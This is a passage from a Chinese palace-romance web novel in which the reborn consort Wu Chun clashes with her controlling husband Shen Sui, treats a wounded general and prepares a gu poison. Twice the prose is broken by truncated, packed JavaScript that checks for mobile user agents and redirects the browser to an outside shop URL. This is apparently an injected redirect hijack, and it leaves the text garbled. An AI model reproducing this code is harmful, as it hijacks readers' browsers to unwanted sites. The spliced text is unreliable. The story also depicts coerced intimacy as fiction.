提到沈珩,就是提到沈绥心里那根刺了,毕竟她是他从沈珩手上抢来的皇子妃,又心胸狭窄,容不得半点沙子,自然多介意些沈珩。 是以,乌春不再多说,免得又挑到他哪根疯筋了。 她往后挪身子,刚要挪动,就被沈绥捏住了腰,力道隔着衣料渗到肌肤,让人心慌。 乌春道:“我一点也不想做那种事。” 她抿着唇,透亮的眼眸清澈无波,毫无情动。 沈绥方平静下去不久的心里,忽然生出一股莫名的烦躁郁闷。 为何她就是不一样了呢?好像那个挡在他身前为他抽尚宫鞭子的、那个为他彻夜熬药的、那个坐在窗边为他缝制冬衣的少女,再也不见了。 沈绥眸若寒潭,抬起手扣住她的后脑勺,吻了下去。 她的唇舌依旧柔软温热,还带了几丝甜意,他肆无忌惮地在其中掠夺,感受到她尖锐的噬咬,血腥味弥漫开,可他依旧不放。 直到她用脚踢他,他才放开。 银丝落下来,在空中划出一条晶莹的弧度。 “你又发什么疯?”她抗拒道。 沈绥捏住她的脚放好,不让她乱动,冷笑道:“我是你夫君,吻你有何不可?” “可凡事都讲究一个你情我愿,我不愿意,你就不可强要。” 乌春说完后,忽然觉得有些后悔,白费口舌。 有些事情,他这样一个根本没有心的人,怎么可能明白? 沈绥自然并不将她的话放在心上,指尖抹去她嘴角的血迹,“你我同房难道少吗?既然如此,我若想吻你,何必等到你同意,岂不是白费兴致。时间不早,睡觉罢。” “怎么?你要和我睡一张床?” 沈绥指尖一顿,喉结微滚,嗓音透出来一丝哑意,“有何不可?” “可我不想。” 沈绥 17. 乖 翌日,乌春醒过来的时候,身边空空,案几上却摆了一个食盒。 起来梳洗一番后,打开食盒,热气升腾而起,装着两个胖乎乎的包子和一碗甜豆花。 相比于咸豆花,她确实是喜欢吃甜豆花的。 大抵是沈绥今日要继续查案子,因此走得早,为她唤了早食。 还算是有点眼力见的。 银子早就被沈绥结过了,乌春用完饭后走出客栈,门前已经停好一辆马车。 她回宫并不复杂,没多久功夫就回到了毓宁宫,玉梨和惊莲跑着迎上来。 惊莲道:“殿下,您可算是回来了!就在昨夜,陈皇后落胎了!太医们想尽办法,终究是没能让皇后的脉象平稳,陈皇后保住一命已是大幸,但是伤及了根本,恐怕日后都难以有皇嗣了!” “您是不知,昨夜陛下大怒,砍了几个太医的头,闹得宫里人心惶惶……” 乌春心里咯噔一下,急忙问:“那刘贵妃如何了?还有公主呢?” “刘贵妃被打入冷宫,公主殿下用簪子抵着自己的喉咙,逼着萧将军带她见陛下,你说萧将军一个习武之人,怎么可能让公主有什么闪失,于是打落了公主的簪子,冒着违抗圣命的风险,带着公主见了陛下……” “公主哭天抢地,陛下到底还是对公主有几分宠爱,降了刘贵妃的妃位,贬为嫔。公主因为太过胡闹,圈禁的时间延长到一年。萧将军受二十杖军棍,现下应该在处刑。” 到底还是迟了一步! 大理寺的折子还来不及递到皇帝那里,若是折子早一步递上去、或者陈皇后晚一日出事,都不会是如今这个局面! 折子递了,表明刘贵妃是被暗处埋伏之人陷害,毕竟她一个在宫里久居,母族也算不得权贵的妃子,哪里来的手能够伸到南疆?只要表明刘贵妃和镯子上的毒八竿子打不着边,就不会有事。 但即便是现在皇帝看到折子,也晚了。 天子正在气头上,事情真相重要吗? 乌春险些没站稳,幸好玉梨扶了一把。 惊莲问:“殿下,现在如何是好?” 现在怎么办?逃出宫的倚仗沈璎没了,沈璎自己都被禁足,如何找萧怀文帮她做事? 走向逢春殿的路上,乌春陷入了沉默。 等坐到逢春殿的窗边,瞥见庭院中生长的海棠花已落了一地残红,绿荫如盖,该是夏日了。 思绪万千,乌春忽然想到,这一年,也就是永清二十二年夏,二皇子沈珙被封为凉东王。 乌春的眼眸闪过一道寒光。 ——沈珙,你前世入宫参加帝王寿宴,不料遇上沈绥兵变,侥幸之下逃脱,却要拿我要挟保命,还杀了惊莲,这一世,我怎能与你相安无事? 暂时出不了宫也无妨,她还有仇要报。 乌春问:“上次那个打探刘贵妃消息的小太监,叫什么名字?” “回殿下,那太监名叫阿贵,做事麻利,口风严实,是个极有眼力见的,不该说的话从来不说,所以奴婢便找了他。殿下,现在还有什么吩咐?” 乌春凑到惊莲耳边耳语几句,惊莲登时瞪大了眼,“殿下,万万不可啊,若是被发现了,您是要被陛下砍头的……” “你放心,照我说的做便可,我自有分寸。” 大梁朝局已经变了。从陈皇后腹中胎儿流产开始。 诸君未立,皆是因为陈皇后还怀着胎,陈氏势力庞大,又与诸多势力勾结,在朝中呼风唤雨,皇帝立不得储君。可陈皇后今已年三十六,晚来得子,怀胎不易,保命已是万幸,日后不可能怀胎,也就是说,皇太子要在沈珩、沈珙、沈绥之中选。 沈珩是最为合适的人选,本来该成为皇太子,可因为陈氏家族尤不死心,将陈玉一个表妹也送入了宫为妃,皇帝怒,却实在是无力。 恐怕沈瑜早就想拔出陈氏了,能把当年谢阮阮的案子翻出来,泰半多多少少和陈氏有些关系,皇帝指不定是知道内情的。 …… “你见过谢家军?” 沈绥坐在椅子上,手里托着一盏茶,一手捏起盖,轻轻磕刮茶沫。 对面被锁链拴住双手双脚的满脸胡茬的中年男子颤声道:“见过……但那都是十六年前的事了,俺在太苍山脚下的村子里,除了那场山火,俺啥也不记得了……” “方圆十里的山火,你的村子被烧,你却活了下来。”沈绥漫不经心地吹开茶盏中细小的泡沫。 “俺的房子被火烧的时候,俺正巧在外头种地嘞,恰好躲过一劫。” “你撒谎。”沈绥抬起一双冰冷的眼,手指一松,茶盖落在茶杯上,发出一声叮当清响,“当年太苍山火是在夜里烧的,你根本不可能躲过。” 暗处抽出鞭子,“啪”的一声,男人的衣上多了一条血痕。 “啊——大人饶命、大人饶命!”男人惨叫道。 沈绥将茶盏搁在旁边的桌上,袖中滑下来一个银铃铛,他把玩起红线,一边缠绕在自己的手指上,一边漠然道:“你当年根本不是太苍山下的村民,却在帝都中打着从太苍山一难中活下来的幌子,替人算卦,招摇撞骗,十年有余,按照大梁律法,该当处刑。” 沈绥说完后就站起身往外走,背后男人陡然发出一声非人嚎叫。 沈绥忽然停住了脚步。 男人以为沈绥动了恻隐之心,便撕心裂肺道:“大人,草民再也不敢了,求求您饶过草民罢……” 然而沈绥仅仅只是抬手,仔细解开缠绕的红线,银铃铛再次收入袖中,才抬步继续往外走。 “大人、大人——不——”男人看着他的背影渐渐消失在黑暗中,绝望地闭上了眼。 出去之后,光照下来,沈绥眯了眯眼,瞧见衣摆沾上一点血迹,眉头渐渐蹙了起来。 江玄凝在外侯着,见他来了,便道:“殿下,此人是否是当年活下来的人?” 沈绥摇摇头,“他撒谎,不过是打着幌子说自己福大命大,可以勘破玄机,来行骗罢了。当年的谢世子早就死了,怎么可能有人见过他。” 江玄凝叹道:“也理当如此。谢家倾台之时,谢世子不过五岁,五岁孩童,怎么可能从那场山火中活下来。本来想从谢家这里打听些谢阮阮的旧事,没想到这线索还是断了。” 沈绥淡淡“嗯”了一声,“帝都中是找不到线索了,后日去当年贤妃的母族故地探探究竟。” 他背过了身,江玄凝觉得他深绯红的背影在碧霄之下显得分外萧索深沉,脊梁像是一把锋利的匕首,要将天都捅了去。 江玄凝问:“那今日和明日,殿下有何打算?” “回宫。”他顿了顿,又补充一句,“找萧将军帮忙,查一查宫里的事情。” …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929353|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乌春是真没想到这么快又见到沈绥了。 清闲了半日,他黄昏时候又回来了。 回来的时候,乌春并不起身迎接,他也不责备,随手将一个小盒子放在桌上,然后走到乌春身边,看她手里捏着草药和剪子,问:“你这是做什么?” “闲着也是闲着,不如研究研究药理,省得日后若是病了,找太医都找不到。” 沈绥闻言眉心微折,“我还不至于连个太医都找不到。” 他低头看,乌春正一根根将杂乱的枯草分开,剪去无用的碎叶,手指灵巧如蝶,低下头的时候,露出一截雪白的脖颈,红线的勒痕淡了不少。 看来昨日买的药确实有不留伤疤的功效。 他从后面俯身,双臂环绕,双手握住她的,要她停下手中的事,她轻喝:“干嘛呀!” “我回来不是看你捣弄草药的。” 椅子的靠背实在有些碍事,沈绥将人提起来后,自己坐上椅子,让她坐到自己大腿上。 乌春瞪他,“你又要做什么?我的癸水还没有完。” 沈绥捏着她的手,拇指和食指捏住她无名指的指根,然后一直往外滑,抚过两节骨节,最后捏住了指尖,垂下眼睫,瞧着两人交握的手指,“我后日就要走了,去的地方远,一日两日回不来。” 乌春腹诽:那可真是太好了!你怎么后日才走?今日走不好吗? 乌春抽回手,“那臣妾便祝殿下平安归来。” 沈绥冷笑一声,“我知道你心里并不这么想,我若是死在外面,你定要拍手称好。” “臣妾可不敢。” 她坐在沈绥腿上,有些不自在,前世几乎不曾有过这样亲昵的姿势,更别说他现在这般耐着性子把玩…… 她的手指。 和他修长的手指比起来,她的手显得十分小巧。 红线从他袖中落下,然后绕上他的指,和她的指。 夕阳西下,日头移动,他们映在窗上的影子也渐渐拉长,下人们纷纷自觉地低头避让,宫阙寂静,唯余鸟雀啾啾,护花铃沙沙。 乌春道:“你在想什么?” 对这红线,她委实是有些恐慌,先是在逢春殿,无休无止地为她缠绕红线和铃铛,接昏连晨地折磨她,后是在酒楼,勒得她眼泪都被逼出来,呛得透不上气。 长指一勾,沈绥缠好了红线,十指相扣,掌心相对,银铃铛恰好挂在两人的掌根。 他的掌心滚烫,他的气息炽热,贴着她的时候,她就像是被他炙烤。 沈绥盯着微微晃动的银铃铛,慢条斯理开口道:“在想你为何总是不听话?” 乌春没好气,“我又不是你的所有物,为何要听你的话?” 沈绥的手指开始摩挲她的手指,缓慢道:“你有没有想过,若是……”他渐渐收紧手,“哪一天你惹恼了我,我要剥你的皮,拆你的骨呢?” 乌春:“若是真有那样一天,既然我早晚都要死,那我为何现在不快活逍遥,又凭什么顺从你的心意?” 沈绥轻笑一声,竟也不恼,反倒是心里发闷,将人拽起来,从后抵住她,热度灼人的吐息拂在她耳边,“我这一走不知几时回来,你今夜乖一些。” 他轻咬她的耳垂,病态呢喃,“乖一些就好。” 他真想拔掉她身上的刺,用红线将她束缚,永远做他掌心乖巧的花。 18. 难眠 沈绥今日穿着官服回来的,竟然都没有来得及换。 离开她片刻,他褪去官服后,露出里面的黑色交领长袍,衣襟用金线绣着松鹤纹路,衣襟口袒露着好看而长的锁骨,身上有种淡而冷冽的木香,应当是回来前熏了冷香,毕竟早晨不曾听见什么动静,也不曾闻见什么香味。 他靠近的时候,乌春不自觉身子往后缩,将要离他远些,又被他另一只手按住了背,手指恰恰落在脊背正中的沟壑,天气渐热,衣衫单薄,隔着布料也尤其明显,他从下往上,顺着沟壑抚摸…… 又从她脖颈一路辗转吻上去,像毛绒的芦苇一下下挠她。 乌春的手指一点点抓紧了他胸口的衣襟,没什么好气,“沈辞宁,你能不能快些,若是无事,可以去查案子,也可以去研究雕琢你那些玉石头,总之别在逢春殿。” 沈绥是有个少有人知的爱好,他喜好雕琢玉器,宣阳殿里头专门有个摆满玉石和刻刀锤子的架子。经他之手,粗糙不平的玉石被打磨雕刻成雕花玉佩、小巧扳指,便是专门以打磨玉器为生的匠人,都未必有他手巧。 他的手掌便有层薄薄的茧子,食指和中指的骨节侧也带了茧。 染了满手血腥,却偏偏喜欢最纯洁无瑕的君子之物。 乌春前世总盼着沈绥能雕支玉簪送给她,可惜直到死都没有。 沈绥闻言,薄唇微抿,“少说些这种话,毓宁宫是我的宫,这里每一寸土地我都去得,逢春殿自是我想来就来、想走就走,且你是我的妻子,我要同你做什么也天经地义。” 乌春的眼里却毫无情动之意,手往下探,而后五指收拢。 同时,沈绥的喉结滚动,喉间闷出一声粗喘。 乌春眼中那丝嘲讽与淡然像是一把刀,轻轻一挑,就能戳破他心里那些流光溢彩的泡沫,于是只剩下了黑暗与冰冷。 她手指灵巧,他额角青筋直跳,胸腔之中浸出些疼意,他变了脸色,咬牙切齿,“你既然如此痛恨我,当初为何又要……” 他环绕住她、叩在桌沿的手几乎将合欢木掐出指痕,青筋狰狞,嘴唇张了又张,却终究将接下来的话生生咽了回去。 乌春不卑不亢,“当初怎么了?你又是怎么待我的?” “我待你不薄!”他竟嘶喊出口,一双眼里的怒意如蛛丝网攀爬。 乌春亦厉声道:“那你知道什么叫喜欢、什么叫爱吗?!” 他张开嘴,却在半空中哑然,见状,乌春笑了,不再同他多说,觉得没什么意义。 难道一辈子不够,还要再断送一辈子的自在,信他真会爱她、敬她,然后困在他身边吗? 沈绥反问道:“你呢?你对我有没有喜欢、有没有爱意?” 话问出口,他自己却微微怔忡,她有没有心悦他,重要吗?她的心意,能为他换取些什么?她的爱意,对他的大业有什么用?又为何会问她这种问题? 乌春道:“若我说有,你不会在意;若我说没有,你只会恼怒。既然如此,又有何问的必要?” 像是有一盆凉水灭顶泼下,沈绥胸腔中熊熊燃烧的怒火霎时间熄灭,他的手捏成拳头,指甲陷入血肉,良久,说不出一个字。 好似她说得对,他确实会有此等反应;又好像她说得不对,因为她太过轻描淡写,往他心里扎了一根刺。 见他渐渐平静下来,乌春弯了弯膝盖,“殿下请回罢,逢春殿这两日都不必来了。” 说罢就从他身边错身而过,走向院落,一拐,没了身影。 空留下沈绥僵站在原地,思绪烦乱,对着外面一地落花残红,两相无言。 …… 乌春其实没有远去,站在一棵粗壮的树后,望着朱红宫墙,心下叹了口气,也不知何时才能突破这层层重围。 海棠树已经没有什么可以落下的花朵了。 不知几时过去,等到望见沈绥离去的笔挺背影,她才从树后走出。 沈辞宁,你我终究是做不得寻常夫妻,是前世的奢求,也是今生的不可能。 我想要的东西,你从来就不会给,也给不了,无论是现在,还是以后。 两相纠缠,又有何意义? …… 乌春走入库房收拾东西,将下蛊要用的材料放到一边,带了牛皮手套,将几只死去的干枯毒虫扔进陶瓮,再打开一个小翁,立刻有“嘶嘶”声响冒了出来,一条青绿的小蛇蠕动,鳞片泛着游动光滑的光。 乌春捏着蛇的头和尾,放入装好毒虫的翁中,再盖上盖。 本该是放入七八只毒物,取最后活下来的一只,但那样毒性太强烈,恐怕稍有不慎就要惹祸上身,就选了较温和些的炼蛊的方法。 选毒虫也是有讲究的,要既有毒又有药用作用的,这样就算被揭发也好含糊;还要毒性只有三分的,否则毒死了竹叶青,那可就养废了,最好还能缓和些竹叶青的毒性,让中蛊之人不至于立刻死去。 唤来阿贵,将翁递过去,瞧见那太监一副哆嗦样,乌春不由笑道:“莫怕,这翁盖得可严实了,又耐摔,只要你不乱打开,就不会有事,再说了,你若有事,本宫也可救活你,有何好怕的?” 阿贵颤声道:“是,奴才遵命。” “埋在毓宁宫东南角的土壤下,十日之后再原封不动挖出来,按照本宫说的做,将本宫给你的所有东西,都交给那人。必要的时候……”乌春从袖子里掏出一个小锦囊,交给阿贵,“可以用这个。” “这是……?” “同生蛊。成对使用,是南疆人给死敌下的蛊,宿主和蛊主同生同死,蛊主生则生,蛊主死则死,只要蛊主不解,就算是宿主死了,蛊也不会解开。但是,我给你的这些蛊药的另一枚……” “含在南疆死人嘴里。” 说完最后一句话,乌春露出一个灿烂的笑容,嘴角凹进去两个梨涡。 阿贵捏着锦囊的手陡然一抖,差点将翁摔了。 了不得!招惹谁都别招惹皇子妃娘娘啊!平日看着待谁都和善,温婉可人又明媚璀璨,骨子里却是比谁都毒。 “知道该怎么做?” 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乌春和玉梨扯下黑面巾后,下面守夜的太监搬来梯子,两人很快落地,畅通无阻进入香兰殿。 沈璎迎上来,一张俏脸憔悴了许多,下巴削尖,眼睛红肿,“嫂嫂你来了,今日恩惠沈璎来日必报,这里请。” 走过花鸟图屏风,摆着一排并在一起的椅子,椅子垫了被褥,上面趴着一名男子,双目紧闭,侧脸苍白,气息孱弱,正是萧怀文。 “……都是我不好,萧将军本就受了军棍,行动不便,该当养伤,却为了我前日一句戏言,说必须要在今日之前买到兔子冻糕,于是又去冰窖取冰,又带伤骑马,那冻糕递过来的时候,将军人也倒了。”沈璎泣道。 “我没想到,那句玩笑,他竟然会当真。” “殿下怎么不传太医?”玉梨心直口快。 乌春捏了捏她的手,她便会意,朝着公主行了一礼,“是奴婢嘴贱,公主莫要放在心上。” 传太医不就直接默认了萧怀文和沈璎有一腿吗?傻子都能看出来萧怀文这般对待公主,已经超越了君臣,公主一句戏言罢了,萧怀文完全可以推脱不管,还可以禀告陛下,或者让手下人去做,但他偏偏选择了亲力亲为。 萧怀文在夜里偶尔会守在丽姝宫外,有时守一整夜,因此他出现在这里,并不奇怪,但是入香兰殿被发现了就不好了。 除了太医,宫里头会医术且和沈璎关系亲密的,不就只有乌春了吗? 沈璎摆摆手。 乌春忙活起来,沈璎忽然带着泣道:“嫂嫂,你半夜来丽姝宫,三哥要是知道了,我不会有事吧?” …… 宣阳殿。 沈绥今夜彻夜难眠,觉得头有些疼,睁眼闭眼都是乌春那句“你知道什么是喜欢、什么是爱吗”,一会儿是她的缠绵温软、妩媚温顺,一会儿是她的忽冷忽热、不屑一顾。 径直坐直了身子,望向不远处一片漆黑的逢春殿。 朝着逢春殿走去。 19. 娇嗓 逢春殿殿门紧闭,月光从门缝往里挤。 沈绥身后拉下了长长的影子。 他步子忽然顿住,闭了闭眼,头疼欲裂,耳边回荡起那句并无多少感情的“殿下不必来逢春殿了”。 他错了吗? 逢春殿为何去不得? 良久,终于是按捺下心中的烦闷与戾气,并未入逢春殿,回到宣阳殿开始琢磨玉石,凿刀落下,玉石被削得细长,有几分女子发簪的轮廓。 月光将玉石照得莹亮。 …… 兰香殿。 乌春总算为萧怀文处理好了伤口。 其实她一个皇子妃,为禁军首领处理伤口,实在是不合规矩,但作为医者,眼中不分男女,只有伤病,乌春并不在意这些,几个婢女将萧怀文盖严实了,才去唤一直侯在屏风外面的沈璎。 玉梨给乌春擦汗。 沈璎看了眼萧怀文,眸子里噙着担忧,但南疆人素来以独特精湛的医术闻名,便也放下心来,对乌春道:“嫂嫂再要回去多有不便,我也没那个脸面再让嫂嫂回去,不如今夜就宿在我这里罢。” 和沈璎同榻,乌春有些不习惯,沈璎抱着她的胳膊的时候,她身子僵硬,但沈璎丝毫不觉,依偎在乌春肩头,不觉泪流了下来。 “嫂嫂在大梁过得好吗?” 乌春微愣,何出此言,想了想,答道:“好也不好,离家太远总是会想念的,大梁水土富饶,过的日子比在南疆精细,但规矩繁多,条条框框,让我并不自在。” 沈璎叹道:“三哥对嫂嫂好,其实也是一桩幸事啊。只是不知我日后……会嫁给怎样的夫君呢?自古以来,公主总是帝王家泼出去的水,远赴他国和亲,我的命运大抵也是如此罢。可我却并不愿意远嫁。” 原先以为沈璎是个天真好骗的傻姑娘,哪知她其实并不傻,反而是个清醒的。 乌春渐渐回味过来,只怕前世她以死明志,并不完全是为了萧怀文,而是自己也真心不愿和亲。 如此看来,这小公主性子倒是有几分刚烈。 乌春心里杂陈,“你若是能嫁个大梁的好人家,也就不用和亲了。” “那萧将军还会守着我吗?” 乌春分明是想撮合萧怀文和沈璎的,可安慰她的话却怎么也说不出口了,喉间微哽,“不会的,你出了宫,他便与你没有交集,如今也只是因为你禁足,他偶尔来守着你。你们之间,其实……” “其实没有什么可能。” 乌春心头微动,侧过头看沈璎,见她一张小脸上又是泪又是笑的,忽觉心酸,想要为她擦一擦泪,她却自己捏起袖子,擦干泪。 皇宫会困住许多人。 乌春是,沈璎也是。 沈璎道:“时候不早了,嫂嫂快睡罢。嫂嫂能到此处,想来三哥今夜是没有宿在逢春殿的,需得赶在三哥醒来前回去呢。” 今夜无梦。 翌日,沈璎尚在酣眠,乌春醒得极早,眼下有淡淡的乌青,随手抹了脂粉,叫起玉梨,原路回逢春殿。 白日可不比黑夜,在平坦开阔的宫墙下,要不引人耳目,实在是有些难,只能祈祷无人经过。 乌春和玉梨同昨夜一般从墙头攀上树,玉梨在前,乌春在后。 玉梨猫着腰踩在枝丫上的时候,忽然怔住,然后有些窘迫地挠了挠头,“呀,见过薛尚仪。” 听见“薛尚仪”这几个字,乌春心里陡然倒吸一口凉气! 完了完了,怎么被薛尚仪看见了! 前世没少受过薛尚仪的处罚,站得腰酸背疼,步子走得腿脚酸痛,可她还是不满意。 要不是薛尚仪素来以严苛著称,乌春又一心想要练好规矩讨好沈绥,她真是要怀疑薛尚仪是不是故意刁难她! 但,现在跑,好像也来不及了。 …… 乌春被薛尚仪“提溜”回了毓宁宫。 玉梨跪着,乌春站着,婢女们低头大气也不敢出。 “夜里擅自翻墙,宿在公主宫里,早晨仍旧翻墙上树,不思悔改,敢问娘娘,先前学的规矩,都忘之脑后了吗?” 这位薛尚仪,年纪并不大,可以说年纪轻轻就到了尚仪的位置,可见是有几分手段的,她衣裳穿得整整齐齐,连每一寸褶子看上去都工整规矩,袖口和领口哪怕只是用来装饰的盘扣,也从未解开过。 印象中,她一直神情严肃,几乎不曾见她笑过。 乌春就算是重生的人,也还是对她存了几分敬畏,此时适合沉默,也就没有说话。 薛尚仪问:“此事三殿下可知晓?” “三殿下不知。”乌春实话道。 要是扯谎被薛尚仪拆穿了,她反而要受更多处罚。 “欺瞒三殿下,罪加一等!来人!”薛尚仪一伸手,乌春便知她要做什么了。 她拿来一个装满了水的木碗,放在乌春头顶,乌春只好站直了身子,动也不敢动,脸色发苦,低声问:“尚仪,能少站一个时辰吗?” “不可。多站一个时辰还差不多,今日你实在过分逾越,站三个时辰罢。三个时辰之后,本官再来,若是有谁敢包庇三皇子妃,抽十大板。”薛尚仪又指了指玉梨,“你,陪你的主子跪三个时辰。” 说完就走了。 乌春欲哭无泪。 过了小半刻,宣阳殿的门打开了。 乌春站的地方其实正对着宣阳殿,沈绥一打开门,就能看见她。 他长身站在大门中央,显得单薄笔挺,眉头微微一蹙。 唤来一个太监,问这是怎么了,太监恭谨地为沈绥解释了一通。 乌春闭上眼,心中暗骂:真是丢脸丢到这狗男人面前了!昨日刚吵过架,想必他心里还怄着气呢,照他那性子,若是知道她昨夜跑到丽姝宫跟沈璎厮混,杀沈璎是杀不得的,但刁难她肯定免不了,指不定还要再往上加一个时辰呢! 果然,沈绥步过来,对她道:“眼睛睁开。” 乌春睁开眼,却毫不服输地瞪着他。 沈绥嘴角扯了扯,语气却一如既往地冷淡,“难怪不让本宫到逢春殿去,恐怕赌气是缘由,想跟公主抵足而眠也是缘由,本宫该说什么,是不是该赞一声姐妹情深?” 他说着说着,自己渐渐有些愠怒了,“放着本宫一人在宣阳殿,自己出去鬼混,沈璎的肩膀有本宫的肩膀宽阔吗?” 乌春回怼,“那不然我下次带着你一块去丽姝宫呀?” 沈绥反而笑了,“也可,但公主还不到要嫁人的时候,现在通人事,是不是有些太早。且当着公主的面,我做得,你做得吗?” 这话听得玉梨的脸都烧了起来,头低得死,恨不得脑袋从脖子上掉下去了。 乌春一噎,“嘁”了一声后,不再说话。 沈绥却过分,唤人搬来椅子桌子,沏了茶,在乌春面前坐了下来! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006355|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他长腿叠起,慢条斯理地品茗,茶香清浅,绕到乌春鼻下,缓缓钻入鼻腔,是乌春素来喜爱的甜茶,她咽了咽唾沫,觉得口干舌燥。 沈绥状若无意的喝完了茶,又唤人送来酱饼和烤面,都是香味极大的食物,酱料鲜香诱人、烤面色泽鲜亮,酱饼好像还有肉沫芝麻馅料,细小看不真切,乌春不自觉睁大了眼,想看那到底是什么馅料,却被沈绥一口咬了下去,包在口里。 他吃东西斯文,从不外露,即便是食用油水厚的东西,也不会满嘴油光。 乌春便也看不到馅料。 早晨还没用饭,肚子实在是饿啊! 沈绥一口一口,跟姑娘家似的慢慢吃完了酱饼,又开始吃烤面。 那烤面糊了一层金黄的蛋液,煎完后均匀地分布在面皮上,洒了孜然和辣椒酱,又卷了肉和菜,本还应有大葱洋葱,但沈绥不爱吃,都挑了去,色香俱全,诱得乌春的肚子咕咕叫了几声。 乌春简直是想杀了沈绥! 乌春闭眼,眼不见心不烦,看不见也就不想吃了。 不行,要忍住,绝对不能在沈绥面前丢脸! 可烤面的香像是能勾人的魂魄,将乌春的心神全部摄去,只能感觉到香味了,口中唾液似乎越来越多,她喉咙不断蠕动咽下,肚子反而更饿了。 双腿绷直,膝盖有些酸,肚子也饿,太阳渐渐移动,日头落下来,初夏时节,还有些热。 实在难受。 乌春转而一想,沈绥这不明摆着是故意的吗?! 不就是想看她饿得饥肠辘辘,又拉不下脸来跟他说好话的拧巴样子? 行啊,她凭什么满足他? 委屈谁都不能委屈自己! 于是睁开眼,唤了一副甜得发腻的娇嗓子,唤道:“殿下、殿下。” 沈绥筷子一顿,并不抬头,“爱妃有何事?” “夫君、夫君——”四个字的话,调子转了十八个弯,说得比唱得还好听,软糯糯的,还带了些娇嗔,到尾音的时候,刻意拉长。 任谁听了,都要心尖一颤。 果然,沈绥喉结一滚。 “夫君你过来嘛。”这一句嗓音更娇,最后一个字,还带了声低喘,在场的太监下意识后退回避,这可不是他们能听到的,万一明天就被割耳朵了呢。 乌春明显地瞧见,沈绥的背绷直了,在忍耐压抑些什么,筷子“啪”地一放,走到乌春前面,“好好说话。” 乌春趁这功夫,抬起僵硬的手,端起碗,水洒出几滴,踮起脚,在沈绥脸颊迅速亲了一口,然后规规矩矩将碗放回头顶,站好。 嗓音恢复,带了几分委屈,“臣妾站累了嘛。” 眼睛一眨一眨,长而翘的眼睫毛上很快就有了细碎的泪珠子,真真是美人欲泣,若芙蓉带露、娇花浴水。 沈绥脸颊传来柔软的触觉时,他觉得有些异样,待到反应过来乌春吻了他的脸,又觉诧异,一时怔在了原地,看着乌春委屈模样,他心跳骤地变快,隆隆如鼓声。 以他聪慧,明明知道她是故意装模作样。 他也早就知道乌春不知从何处学来的一套手段,会演得很,哭得跟真的一样。 爱也跟真的一样。 却忍不住唇角微勾,想也不想,抬手将乌春头顶的碗拂去,水洒了一地。 他挪开眼,一派正经道:“累了便不站,来吃些东西,薛尚仪那里,有我来对付。” 20. 暗处 乌春真是如蒙大赦,顺手将地上的玉梨也扶起来。 要是早知这点功夫就可以不用罚站,那她方才可绝对不会跟沈绥端着架子呢。 大丈夫能屈能伸,女子也是如此。 沈绥本来一腔怒意,哪个男人能容忍自己的妻子半夜三更跑到别人宫里睡觉,还和别人睡一张床榻,便是女子,心里也不大能过得去,最重要的是,白日里还特意不要他去逢春殿! 但,当反应过来乌春嫣红的唇瓣贴了他的脸颊、那蔷薇收敛起了浑身的刺乖巧地触碰他时,那怒意登时如云烟消散。 好似天边的日头都变得明媚璀璨了起来。 乌春入了逢春殿,沈绥命人送来吃食。 乌春忽然发觉,案几上多了一个瓷制的小盒子。 昨日跟沈绥吵架,心里烦闷,得知了公主请她帮忙医治萧将军后,又忙了一下午收拾医囊,是以便忽略了案几上的盒子。 乌春将它拿起来,一看便知这是女儿家的口脂盒子,打开小锁扣,果然如此,色泽鲜艳而不庸俗,光泽淡淡,手指一蘸,质地光滑细腻,似乎是时下最昂贵用料。 乌春问惊莲,“逢春殿素来由你和玉梨收拾,可知晓这是从何处来的?” “回殿下的话,奴婢不知,正是因此,所以才不敢乱动。” 乌春想了很多种可能,是哪个婢女从角落捡到的,却误以为是她的,怕有嘴说不清,于是放在了她的案几上,但逢春殿还有谁会用这个呢; 或者哪个胆大包天的太监,对她有非分之想,要哄她开心,放在了此处,可太监哪里买得起这等昂贵的口脂; 又或者……大殿下沈珩送的,又托人递到这里,可沈珩此人行事磊落坦荡,要送东西必然光明正大送,也断然不会送这等引人非议的口脂…… 乌春实在是想不明白,到底是谁放在此处的? 沈绥吩咐完了下人,走入逢春殿,瞧见乌春端着那个小盒子,神色古怪,于是轻咳了一声。 倒是还有一个可能。 沈绥送的。 乌春登时吓得手一抖,差点将盒子都摔了,还是沈绥手快,先一步接住,重新递到她掌上。 乌春苦着一张脸,“殿下,臣妾又做错了什么?” 沈绥疑道:“嗯?” “殿下为何送我口脂?” 定是没安什么好心!他要是能真心实意送她东西,月亮都要从西边升起! 沈绥看她一副心惊胆战的小心模样,丝毫没有任何女儿家收到夫君礼物时的喜悦与娇羞,喉间堵得慌,说出来的话也跟着冰冷,“查案子路过胭脂铺子,顺手差人找到了掌柜失踪多日的儿子,掌柜作为答谢,送了我这个,放我这里无用,就随手放过来了。” 哦,原来如此。 就说沈绥怎么突然给她送这些小玩意了。 乌春悬着的心放了下来。 沈绥看她松一口气,心里更堵,薄唇不悦地抿起,但还是不由问:“怎么了?” “倒是无事,只是觉得逢春殿里突然多了一盒昂贵的口脂,有些让人胆骇罢了。” 沈绥心里的火几乎烧了起来,他送东西让她胆骇?!真是好的很! 于是拂袖而去,大步走出逢春殿,一路出了毓宁宫。 乌春并不在意,对着铜镜,手指蘸了口脂抹在唇上,张开唇,思索如何将此色搭配合适的妆容。 …… 沈绥去寻萧怀文。 萧怀文身在丽姝宫,彼时刚刚苏醒,沈璎已坐在他对面守着他许久。 